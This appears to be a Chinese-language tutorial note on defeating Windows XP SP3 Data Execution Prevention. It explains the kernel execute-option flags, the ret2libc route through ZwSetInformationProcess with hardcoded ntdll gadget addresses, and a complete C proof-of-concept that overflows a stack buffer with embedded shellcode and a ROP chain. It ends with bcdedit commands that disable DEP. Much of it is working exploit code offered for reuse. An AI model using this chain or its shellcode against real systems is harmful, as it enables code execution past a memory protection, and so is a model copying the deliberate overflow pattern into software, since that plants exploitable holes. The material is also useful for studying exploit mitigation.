DEP简要说明 链接·········································
DEP设置标示在KPROCESS 结构中 XP 下
nt!_KPROCESS +0x000 Header : _DISPATCHER_HEADER +0x010 ProfileListHead : _LIST_ENTRY +0x018 DirectoryTableBase : [2] Uint4B +0x020 LdtDescriptor : _KGDTENTRY +0x028 Int21Descriptor : _KIDTENTRY +0x030 IopmOffset : Uint2B +0x032 Iopl : UChar +0x033 Unused : UChar +0x034 ActiveProcessors : Uint4B +0x038 KernelTime : Uint4B +0x03c UserTime : Uint4B +0x040 ReadyListHead : _LIST_ENTRY +0x048 SwapListEntry : _SINGLE_LIST_ENTRY +0x04c VdmTrapcHandler : Ptr32 Void +0x050 ThreadListHead : _LIST_ENTRY +0x058 ProcessLock : Uint4B +0x05c Affinity : Uint4B +0x060 StackCount : Uint2B +0x062 BasePriority : Char +0x063 ThreadQuantum : Char +0x064 AutoAlignment : UChar +0x065 State : UChar +0x066 ThreadSeed : UChar +0x067 DisableBoost : UChar +0x068 PowerState : UChar +0x069 DisableQuantum : UChar +0x06a IdealNode : UChar +0x06b Flags : _KEXECUTE_OPTIONS +0x06b ExecuteOptions : UChar //_KEXECUTE_OPTIONS
lkd> DT _KEXECUTE_OPTIONS nt!_KEXECUTE_OPTIONS +0x000 ExecuteDisable : Pos 0, 1 Bit //DEP开启时置1 +0x000 ExecuteEnable : Pos 1, 1 Bit //DEP关闭时置为1 +0x000 DisableThunkEmulation : Pos 2, 1 Bit //为了兼容ATL程序设置的 +0x000 Permanent : Pos 3, 1 Bit //被置1后标示这些标志都不能再被修改 +0x000 ExecuteDispatchEnable : Pos 4, 1 Bit +0x000 ImageDispatchEnable : Pos 5, 1 Bit +0x000 Spare : Pos 6, 2 Bits真正影响DEP状态是前两位 所以我们要将 _KEXECUTE_OPTIONS 的值置为0x02 二进制为 00000010 就可以将 ExecuteEnable 置为1
程序跳向非可执行代码上 DEP保护下溢出失败
Ret2libc (Return to libc) 原理 : 跳向一个已经存在的系统函数,DEP不会拦截 。
1) ZwSetInformationProcess函数将DEP关闭后再转入 shellcode执行
2)VirtualProtect 函数来将shellcode所在内存页设置为可执行,再转入shellcode执行
3)VirtualAlloc函数开辟一段具有执行权限的内存空间 然后 shellcode复制到这段内存中执行
发现一个技巧:
当我们想要在跳向返回地址之前 做一些小动作,比如 赋值eax,edx,ecx等等 可以将返回地址设置成 下面这种指令的地址
mov eax,1
retn
然后retn 又跳向 第一次返回地址的下面所指地址
这里说明一下Ret2libc的过程
ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE; NtSetInformationProcess( NtCurrentProcess(), // ProcessHandle = -1 ProcessExecuteFlags, // ProcessInformationClass = 0x22(ProcessExecuteFlags) &ExecuteFlags, // ProcessInformation = 0x2(MEM_EXECUTE_OPTION_ENABLE) sizeof(ExecuteFlags)); // ProcessInformationLength = 0x4
如果一个进程的 Permanent位没用设置! 当它加载DLL时,对DLL进行DEP兼容性检查,当存在兼容性问题时进程的DEP就会被关闭,为此微软设立了 LdrCheckNXCompatibility函数,当符合下面条件时DEP被关闭:
1 DLL受 SafeDisc 版权保护系统时 2 DLL包含有 .aspcak .pcle .sforce 等字节 3 Vista下面 DLL包含在 注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions 键下边标示出不需要启动DEP的模块
(我们目的是jnz跳向 ZwSetInformationProcess 结束DEP保护) 用 OllyFindAddr插件中的Disable DEP 来搜索 下面的地址
7C93CD1F E8 87FFFFFF call ntdll.7C93CCAB 7C93CD24 3C 01 cmp al,0x1 //我们设计跳向这里 7C93CD26 6A 02 push 0x2 7C93CD28 5E pop esi 7C93CD29 0F84 DF290200 je ntdll.7C95F70E //将esi 赋值给[ebp-0x44] 7C93CD2F 837D FC 00 cmp dword ptr ss:[ebp-0x4],0x0 7C93CD33 0F85 F89A0100 jnz ntdll.7C956831 //转向关闭DEP函数ZwSetInformationProcess 7C93CD39 FF75 08 push dword ptr ss:[ebp+0x8] 7C93CD3C E8 36000000 call ntdll.7C93CD77 //这里没有执行,是检.aspack等检查 7C93CD41 84C0 test al,al 7C93CD43 0F85 E09A0100 jnz ntdll.7C956829 7C93CD49 837D FC 00 cmp dword ptr ss:[ebp-0x4],0x0 7C93CD4D 0F85 DE9A0100 jnz ntdll.7C956831 7C93CD53 FF75 08 push dword ptr ss:[ebp+0x8] 7C93CD56 E8 A6000000 call ntdll.7C93CE01 7C93CD5B 84C0 test al,al 7C93CD5D 0F85 B3290200 jnz ntdll.7C95F716这里是 ZwSetInformationProcess 函数
7C956831 6A 04 push 0x4 7C956833 8D45 FC lea eax,dword ptr ss:[ebp-0x4] 7C956836 50 push eax 7C956837 6A 22 push 0x22 7C956839 6A FF push -0x1 7C95683B E8 4074FDFF call ntdll.ZwSetInformationProcess 7C956840 ^ E9 2865FEFF jmp ntdll.7C93CD6D
7C93CD6D 5E pop esi 7C93CD6E C9 leave 7C93CD6F C2 0400 retn 0x4
那么 必须要 al 为1 并且 ebp可写 (后面要对它写) 并且必须增大ESP (因为有可能在最后retn 4 到错误位置哦)
1 先找 mov eax,0x1 ret 找到得到的地址拿去覆盖掉 函数返回地址
2 那么下面 执行 又返回到了 [esp] 这里是 shellcode 中返回地址下面的一个DWORD 也就是插件找到的第一个地址 LdrCheckNXCompatibility 函数的地址
3 然后执行到 je xxxxxx 里面要对 [ebp-0x4]赋值 那么我们就要 先于2步骤 修正EBP 寻找 push esp pop ebp retn 就可以将ebp定位到一个可写的位置,然后才写入2步骤的地址
4 执行关闭DEP函数后 到达 retn 0x4 就会发现入栈时的数据将shellcode弄坏了············ 此时我们想要让ESP和EBP之间足够大,这样关闭DEP过程中的入栈操作就不会冲刷到EBO的范围了 我们用 retn 将ESP增加字节
5 那么上面写的顺序又不对了 先赋值 eax为1 然后 执行3步骤,然后执行4步骤,然后JMP ESP 去执行 ,最后shellcode 放入2步骤的 关闭DEP代码的起始地址
6 最后跳向 shellcode起始地址执行````````````````
关于 各个指令的搜索用 ···········插件完成就行了
下面是演示 代码:
#include <stdlib.h> //XP SP3 OPTOUT VC++6.0 RELEASE版本 XP设置OPTOUT需要重启 禁止优化 #include <string.h> #include <stdio.h> #include <windows.h> char shellcode[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53" "\x68\x64\x61\x30\x23" "\x68\x23\x50\x61\x6E" "\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8"//168 "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x1d\x99\x95\x7c" //0x7c95991d mav eax,1 retn "\x68\xdc\xec\x77" //77ECDC68 Found:PUSH ESP POP EBP RET 4 at 0x77ecdc68 修正EBP "\xAA\xd4\x92\x7c" //7C92D4AA Found: RETN 28 at 0x7c92d4aa 增大ESP "\x33\xbf\x98\x7c" // at 0x7c98bf33 Module: ntdll.dll JMP ESP "\x44\xcd\x93\x7c" //7C93CD44 ] Module: ntdll.dll Found:disable DEP "\xe9\x33\xff\xff" //堆栈上显示ffff33e9 "\xff\x90\x00\x00" //堆栈上显示000090ff //0012FEC4 ^\E9 33FFFFFF jmp 0012FDFC ; void test() { char tt[176]; memcpy(tt,shellcode,450); } int main() { HINSTANCE hInst = LoadLibrary("shell32.dll"); char temp[200]; test(); return 0; }
DEP函数执行成功 返回0 若错误不成功返回错误码
如果 程序自身设置了 SetProcessDEPPolicy 就不能用 NtSetInformationProcess 去关闭程序的DEP了
在命令行下执行命令“bcdedit /set nx alwaysoff”,重启系统后Windows 7的EDP就关闭了。反之,如果要开启所有服务和应用程序的DEP,执行命令“bcdedit /set nx alwayson”就可以了